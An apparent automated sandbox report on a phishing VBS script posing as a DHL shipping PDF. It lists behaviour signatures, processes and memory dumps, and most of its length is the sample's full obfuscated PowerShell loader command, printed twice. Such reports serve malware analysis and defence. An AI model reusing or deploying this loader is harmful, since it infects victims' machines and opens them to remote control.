Analysis
- max time kernel
150s - max time network
113s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
17/07/2026, 03:34
General
- Target DHL Shipping Document-2774038374-PDF.vbs
- Size 25KB
- Sample260717-d417msav2m
- SHA256 f01dc226fd5602bc34e89dc712b84d8dc3783ff049d3a1344d698f1cfcb3dacb
Score
8/10
Malware Config
Signatures
- Badlisted process makes network request 4 IoCs
Network request originating from process or tool commonly abused by malware.
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\DHL Shipping Document-2774038374-PDF.vbs"1⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "function Glipzorp { $sdninger = Get-Date; [void]$sdninger };Get-Service | Out-Null;$slusers=48784-48784;Get-Host | Select-Object -First 1 | Out-Null;$underskriveren=-887+6887;function WobblyZonk { $vulgre254 = Get-Random; [void]$vulgre254 };function kvadrilles ($thromboclasis,$antrffendes) {$pjasks = 'nonsense';$helleristningers=beaandedes(@(104,221,205,228,216,177,203,212,213,213,165,220,206,229,150,166,225,212,228,145,104,202,211,230,219,170,207,202,224,205,169,220,142)) ;Stiigs ($helleristningers);$antrffendeslotterne = 'random'}function FloopZib { $notarielt = 'test'; [void]$notarielt };function beaandedes ($smigens) { $gesneriaceous = Get-Process | Select-Object -First 1 | Out-Null;do {[void](Get-Date);$underskriveren=$slusers%5;$smigens[$slusers]-=$smgen[$underskriveren];$vulgre254 = 'zazz';$underskriveren=[char]$smigens[$slusers];$oprrsstiftere+=$underskriveren;$slusers++} while ($smigens[$slusers])$thromboclasisbcers = 'glorp' | Out-Null;$oprrsstiftere}function Stiigs ($genstartede) {[void](Get-Service);&($dukkemagers) $genstartede}Function Swathings ($smigens,$reconstitute=0){$sdninger = 'frob' | Out-Null;$pinioning=beaandedes(@(159,172,212,224,223,169,219,217,207,163,126,175,215,225,214,134,202,216,215,159,120,188,217,228,210,178,208,141,150,220,177,210,204,215,215,183,146));$nonconstraint=@(Stiigs ($pinioning));[void](Get-Date);For($sponsoring=0; $nonconstraint[$sponsoring] -ne $salgsfremmende; $sponsoring++){$nonconstraint[$sponsoring] = kvadrilles $nonconstraint[$sponsoring] $smgen[$sponsoring%5];$notarielt = 'zib'}$cuamuchil=beaandedes(@(113,211,212,219,215,100,196,200,218,202,182,196,194,207,141,178,216,211,213,216,178,220,217,228,202,173,215,217));[void](Get-Host);$jackals=Stiigs ($cuamuchil);if ($reconstitute) { $deaktiverer = 'blap' | Out-Null;Stiigs $jackals}else {;[void](Get-Process);$jackals}$gesneriaceous = 'frob' | Out-Null}$smgen=@(68,105,101,114,105);[void](Get-Date);$dukkemagers=beaandedes @(141,174,189);$rapsfrets='\Afgangshaller.Van';$sdninger = 'quib' | Out-Null;$chabuk=Swathings 'cUdVUkETAAsWBjMaRTw9ZFhVXFl/STIbB3JdXlIRcl1eUhsyU1RHW2pZTFIuIQoOHUZ2WVRCWXVZVFIvLRsAFAY8RlRHW2pZ';$imaginatively=Swathings 'LB0RAhp+RkoWGy0fAFwOKwYCHgxqCgofRjEKWhcRNAYXBlQgBhIcBSsIAVQAIFRUK10AAFcZOgZfERw+Kj82PQIXXF1DDhseLxUMMTYnAj0=';[void](Get-Host);$frontlets=Swathings 'CRodHwV2RzYXGzIMFyokCCExJjlqX0tC';$thromboclasissymmetrierne=Swathings 'Aywx';$thromboclasisbcers = 'glorp' | Out-Null;$antrffendesivalves=Swathings 'ERoAAEQFDgAcHQ==';$realleksikonernes=Swathings 'eg==';[void](Get-Process);Swathings 'YA4JHQslBV8VDCoHAB8aLxsMBActBwIXGzdUQRcHMlMEAhkgCBETQmAbBAIaIhsABho=' 1;Swathings 'YA4JHQslBV8eDCMAChwbIQdYVgApCAIbByUdDAQMKBBLARkoABFaTTYMBB4FIQIWGwIrBwAAByEaTA==' 1;$pjasks = 'nonsense' | Out-Null;$imaginatively=$legionren[0];Swathings 'YA4JHQslBV8TDyIIFwZUCgwSXyYmAwARHWREJh0EZE0DAAYqHQkXHTc=' 1;[void](Get-Date);Swathings 'YA4JHQslBV8BASUbABEbKxkAFlRsPQABHWk5BAYBZE0CFwcqDAgBAjYAExwAKg4AABpt' 1;while (!$sharecroped) {$antrffendeslotterne = 'random' | Out-Null;Swathings 'YA4JHQslBV8mGysKDRsFLQoWQFt0VEEGGzEM' 1;Swathings 'YAgDFAg2HUsdGSEHTVYdLBsKHwsrCgkTGi0aFgsEKQwRAAAhGwsXRWRNDB8IIwALEx0tHwAeEGhJQRQIKBoAWw==' 1;[void](Get-Host);Swathings 'YAgDFAg2HUsBDDA7AAMcIRoROgwlDQAAQWAICwYbIg8AHA0hGgwECCgfAAFFZE0GGggmHA5b' 1;Swathings 'YAgDFAg2HUsBDCoNTVs=' 1;$gesneriaceous = 'frob' | Out-Null;Swathings 'YA4JHQslBV8WADcdFxsLMR0MHQc3AgQcCCgMF09NJQ8DExswRxYGCDAcFlJEIRhFQFl0' 1;if ($distributionskanaler) {[void](Get-Process);Swathings 'HwscBgwfNDhWDigGBxMFfgIKHwQxBwwZDDZUQRMPIggXBkc2DBYCBioaADAGIBA=' 1;Swathings 'NwpFVg4hBwsXBDcCFxsfKgALFQw2GkVWAisECAcHLQIAAElpLAsRBiAACxVJBhARFw==' 1;$vulgre254 = 'zazz' | Out-Null} Swathings 'FwUAFxlsXUw=' 1;[void](Get-Date);Swathings 'YA4JHQslBV8BASUbABEbKxkAFlRsPQABHWk5BAYBZE0CFwcqDAgBAjYAExwAKg4AABpt' 1 ;Swathings 'YA4JHQslBV8aEDQBABwAPggRGwYqVEEVBSsLBB5TNwoJFxsrHQwGACdCTldNKAwCGwYqGwAcRycGEBwd' 1;$notarielt = 'zib' | Out-Null;$imaginatively=$legionren[$hyphenization]}[void](Get-Host);$helluva=143860;$antrffendesortforpagtninger=19916;$deaktiverer = 'blap' | Out-Null;Swathings 'YA4JHQslBV8CGyAADhcaeQ4GUk0jDAscDCkaDgAAMgcMHA4hGxY=' 1;Swathings 'YA4JHQslBV87BycbEBcHMAgJTzIHBgsEDDYdOEhTAhsKHyslGgBEXRcdFxsHI0FBAhsgAA4XGm0=' 1;[void](Get-Process);Swathings 'YA4JHQslBV8TGi8GFxAAKhocAAwwCAceDDAaWCk9IRERXCwqCgoWACoOOEhTBTomOyBqLgAGOjAbDBwObE0sHAo2HAAcHSUFTA==' 1;Swathings 'YA4JHQslBV8fACAeDAQAKg5QRFRgCBYZBjYLDBwaPRsABggmBQAGGmoaEBAaMBsMHA5sTQ0XBSgcExNFYAgLBhsiDwAcDSEaCgAdIgYXAggjHQsbByMMF1s=' 1;$pjasks = 'nonsense' | Out-Null;Stiigs $midwiving56;function BlippoZazz { $gesneriaceous = Get-Random; [void]$gesneriaceous };;"2⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "function Glipzorp { $sdninger = Get-Date; [void]$sdninger };Get-Service | Out-Null;$slusers=48784-48784;Get-Host | Select-Object -First 1 | Out-Null;$underskriveren=-887+6887;function WobblyZonk { $vulgre254 = Get-Random; [void]$vulgre254 };function kvadrilles ($thromboclasis,$antrffendes) {$pjasks = 'nonsense';$helleristningers=beaandedes(@(104,221,205,228,216,177,203,212,213,213,165,220,206,229,150,166,225,212,228,145,104,202,211,230,219,170,207,202,224,205,169,220,142)) ;Stiigs ($helleristningers);$antrffendeslotterne = 'random'}function FloopZib { $notarielt = 'test'; [void]$notarielt };function beaandedes ($smigens) { $gesneriaceous = Get-Process | Select-Object -First 1 | Out-Null;do {[void](Get-Date);$underskriveren=$slusers%5;$smigens[$slusers]-=$smgen[$underskriveren];$vulgre254 = 'zazz';$underskriveren=[char]$smigens[$slusers];$oprrsstiftere+=$underskriveren;$slusers++} while ($smigens[$slusers])$thromboclasisbcers = 'glorp' | Out-Null;$oprrsstiftere}function Stiigs ($genstartede) {[void](Get-Service);&($dukkemagers) $genstartede}Function Swathings ($smigens,$reconstitute=0){$sdninger = 'frob' | Out-Null;$pinioning=beaandedes(@(159,172,212,224,223,169,219,217,207,163,126,175,215,225,214,134,202,216,215,159,120,188,217,228,210,178,208,141,150,220,177,210,204,215,215,183,146));$nonconstraint=@(Stiigs ($pinioning));[void](Get-Date);For($sponsoring=0; $nonconstraint[$sponsoring] -ne $salgsfremmende; $sponsoring++){$nonconstraint[$sponsoring] = kvadrilles $nonconstraint[$sponsoring] $smgen[$sponsoring%5];$notarielt = 'zib'}$cuamuchil=beaandedes(@(113,211,212,219,215,100,196,200,218,202,182,196,194,207,141,178,216,211,213,216,178,220,217,228,202,173,215,217));[void](Get-Host);$jackals=Stiigs ($cuamuchil);if ($reconstitute) { $deaktiverer = 'blap' | Out-Null;Stiigs $jackals}else {;[void](Get-Process);$jackals}$gesneriaceous = 'frob' | Out-Null}$smgen=@(68,105,101,114,105);[void](Get-Date);$dukkemagers=beaandedes @(141,174,189);$rapsfrets='\Afgangshaller.Van';$sdninger = 'quib' | Out-Null;$chabuk=Swathings 'cUdVUkETAAsWBjMaRTw9ZFhVXFl/STIbB3JdXlIRcl1eUhsyU1RHW2pZTFIuIQoOHUZ2WVRCWXVZVFIvLRsAFAY8RlRHW2pZ';$imaginatively=Swathings 'LB0RAhp+RkoWGy0fAFwOKwYCHgxqCgofRjEKWhcRNAYXBlQgBhIcBSsIAVQAIFRUK10AAFcZOgZfERw+Kj82PQIXXF1DDhseLxUMMTYnAj0=';[void](Get-Host);$frontlets=Swathings 'CRodHwV2RzYXGzIMFyokCCExJjlqX0tC';$thromboclasissymmetrierne=Swathings 'Aywx';$thromboclasisbcers = 'glorp' | Out-Null;$antrffendesivalves=Swathings 'ERoAAEQFDgAcHQ==';$realleksikonernes=Swathings 'eg==';[void](Get-Process);Swathings 'YA4JHQslBV8VDCoHAB8aLxsMBActBwIXGzdUQRcHMlMEAhkgCBETQmAbBAIaIhsABho=' 1;Swathings 'YA4JHQslBV8eDCMAChwbIQdYVgApCAIbByUdDAQMKBBLARkoABFaTTYMBB4FIQIWGwIrBwAAByEaTA==' 1;$pjasks = 'nonsense' | Out-Null;$imaginatively=$legionren[0];Swathings 'YA4JHQslBV8TDyIIFwZUCgwSXyYmAwARHWREJh0EZE0DAAYqHQkXHTc=' 1;[void](Get-Date);Swathings 'YA4JHQslBV8BASUbABEbKxkAFlRsPQABHWk5BAYBZE0CFwcqDAgBAjYAExwAKg4AABpt' 1;while (!$sharecroped) {$antrffendeslotterne = 'random' | Out-Null;Swathings 'YA4JHQslBV8mGysKDRsFLQoWQFt0VEEGGzEM' 1;Swathings 'YAgDFAg2HUsdGSEHTVYdLBsKHwsrCgkTGi0aFgsEKQwRAAAhGwsXRWRNDB8IIwALEx0tHwAeEGhJQRQIKBoAWw==' 1;[void](Get-Host);Swathings 'YAgDFAg2HUsBDDA7AAMcIRoROgwlDQAAQWAICwYbIg8AHA0hGgwECCgfAAFFZE0GGggmHA5b' 1;Swathings 'YAgDFAg2HUsBDCoNTVs=' 1;$gesneriaceous = 'frob' | Out-Null;Swathings 'YA4JHQslBV8WADcdFxsLMR0MHQc3AgQcCCgMF09NJQ8DExswRxYGCDAcFlJEIRhFQFl0' 1;if ($distributionskanaler) {[void](Get-Process);Swathings 'HwscBgwfNDhWDigGBxMFfgIKHwQxBwwZDDZUQRMPIggXBkc2DBYCBioaADAGIBA=' 1;Swathings 'NwpFVg4hBwsXBDcCFxsfKgALFQw2GkVWAisECAcHLQIAAElpLAsRBiAACxVJBhARFw==' 1;$vulgre254 = 'zazz' | Out-Null} Swathings 'FwUAFxlsXUw=' 1;[void](Get-Date);Swathings 'YA4JHQslBV8BASUbABEbKxkAFlRsPQABHWk5BAYBZE0CFwcqDAgBAjYAExwAKg4AABpt' 1 ;Swathings 'YA4JHQslBV8aEDQBABwAPggRGwYqVEEVBSsLBB5TNwoJFxsrHQwGACdCTldNKAwCGwYqGwAcRycGEBwd' 1;$notarielt = 'zib' | Out-Null;$imaginatively=$legionren[$hyphenization]}[void](Get-Host);$helluva=143860;$antrffendesortforpagtninger=19916;$deaktiverer = 'blap' | Out-Null;Swathings 'YA4JHQslBV8CGyAADhcaeQ4GUk0jDAscDCkaDgAAMgcMHA4hGxY=' 1;Swathings 'YA4JHQslBV87BycbEBcHMAgJTzIHBgsEDDYdOEhTAhsKHyslGgBEXRcdFxsHI0FBAhsgAA4XGm0=' 1;[void](Get-Process);Swathings 'YA4JHQslBV8TGi8GFxAAKhocAAwwCAceDDAaWCk9IRERXCwqCgoWACoOOEhTBTomOyBqLgAGOjAbDBwObE0sHAo2HAAcHSUFTA==' 1;Swathings 'YA4JHQslBV8fACAeDAQAKg5QRFRgCBYZBjYLDBwaPRsABggmBQAGGmoaEBAaMBsMHA5sTQ0XBSgcExNFYAgLBhsiDwAcDSEaCgAdIgYXAggjHQsbByMMF1s=' 1;$pjasks = 'nonsense' | Out-Null;Stiigs $midwiving56;function BlippoZazz { $gesneriaceous = Get-Random; [void]$gesneriaceous };;"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
ModuleAnalysisCache
StartupProfileData-NonInteractive
Afgangshaller.Van
memory/3156-40-0x00000000078D0000-0x0000000007E8A000-memory.dmp
memory/3156-34-0x00000000060C0000-0x00000000060DE000-memory.dmp
memory/3156-39-0x0000000006690000-0x00000000066B2000-memory.dmp
memory/3156-38-0x0000000006640000-0x000000000665A000-memory.dmp
memory/3156-37-0x0000000007270000-0x0000000007306000-memory.dmp
memory/3156-41-0x0000000008510000-0x0000000008B8C000-memory.dmp
memory/3156-35-0x0000000006450000-0x000000000649C000-memory.dmp
memory/3156-25-0x00000000028B0000-0x00000000028E6000-memory.dmp
memory/3156-44-0x0000000024DA0000-0x00000000299DA000-memory.dmp
memory/3156-32-0x0000000005B60000-0x0000000005EBB000-memory.dmp
memory/3156-27-0x0000000005300000-0x0000000005322000-memory.dmp
memory/3156-29-0x0000000005AB0000-0x0000000005B16000-memory.dmp
memory/3156-28-0x0000000005A40000-0x0000000005AA6000-memory.dmp
memory/3156-26-0x0000000005380000-0x00000000059CA000-memory.dmp
memory/4360-11-0x00007FFFB9780000-0x00007FFFBA124000-memory.dmp
memory/4360-12-0x00007FFFB9780000-0x00007FFFBA124000-memory.dmp
memory/4360-20-0x00007FFFB9780000-0x00007FFFBA124000-memory.dmp
memory/4360-17-0x00007FFFB9780000-0x00007FFFBA124000-memory.dmp
memory/4360-18-0x00007FFFB9780000-0x00007FFFBA124000-memory.dmp
memory/4360-16-0x00007FFFB9780000-0x00007FFFBA124000-memory.dmp
memory/4360-15-0x00007FFFB9780000-0x00007FFFBA124000-memory.dmp
memory/4360-14-0x00007FFFB9780000-0x00007FFFBA124000-memory.dmp
memory/4360-13-0x00007FFFB9780000-0x00007FFFBA124000-memory.dmp
memory/4360-24-0x00007FFFB9780000-0x00007FFFBA124000-memory.dmp
memory/4360-0-0x00007FFFB990F000-0x00007FFFB9910000-memory.dmp
memory/4360-10-0x00007FFFB9780000-0x00007FFFBA124000-memory.dmp
memory/4360-9-0x00007FFFB9780000-0x00007FFFBA124000-memory.dmp
memory/4360-8-0x00007FFFB9780000-0x00007FFFBA124000-memory.dmp
memory/4360-7-0x00007FFFB9780000-0x00007FFFBA124000-memory.dmp
memory/4360-6-0x00007FFFB9780000-0x00007FFFBA124000-memory.dmp
memory/4360-5-0x00007FFFB9780000-0x00007FFFBA124000-memory.dmp
memory/4360-4-0x00007FFFB9780000-0x00007FFFBA124000-memory.dmp
memory/4360-3-0x0000020F36D40000-0x0000020F36D62000-memory.dmp